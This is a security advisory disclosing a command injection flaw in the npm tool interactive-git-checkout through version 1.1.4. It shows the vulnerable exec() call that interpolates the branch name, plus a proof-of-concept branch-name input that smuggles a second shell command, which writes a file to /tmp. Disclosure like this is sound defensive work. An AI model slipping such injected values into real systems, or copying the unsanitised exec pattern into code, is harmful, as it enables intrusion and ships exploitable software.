GHSA-4wcm-7hjf-6xw5
interactive-git-checkout has a Command Injection vulnerability
Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | interactive-git-checkout | <= 1.1.4 | no fix listed |
Details
As written in the advisory (Markdown source, shown as plain text).
The npm package `interactive-git-checkout` is an interactive command-line tool that allows users to checkout a git branch while it prompts for the branch name on the command-line. It is available as an npm package and can be installed via `npm install -g interactive-git-checkout`.
Resources:
* Project's npm package: https://www.npmjs.com/package/interactive-git-checkout
## Command Injection Vulnerability
The `interactive-git-checkout` tool is vulnerable to a command injection vulnerability because it passes the branch name to the `git checkout` command using the Node.js child process module's `exec()` function without proper input validation or sanitization.
The following vulnerable code snippets demonstrates the issue:
```js
const { exec: execCb } = require('child_process');
const { promisify } = require('util');
const exec = promisify(execCb);
module.exports = async (targetBranch) => {
const { stdout, stderr } = await exec(`git checkout ${targetBranch}`);
process.stderr.write(stderr);
process.stdout.write(stdout);
};
```
## Exploit Proof of Concept
1. Install the `interactive-git-checkout` package (as suggested by the package's README):
```bash
npm install --global interactive-git-checkout
```
2. Run the executable exposed by the installed package:
```bash
$ igc
```
3. When prompted, enter the following branch name:
```bash
hello ; echo 'Command Injection Vulnerability Exploited!' > /tmp/command-injection.txt; #
```
## Vulnerable versions
All versions of interactive-git-checkout are vulnerable to this issue, up to and including to the latest version of `1.1.4`.
# Author
Liran Tal
References
External links from the advisory. They lead to third-party sites.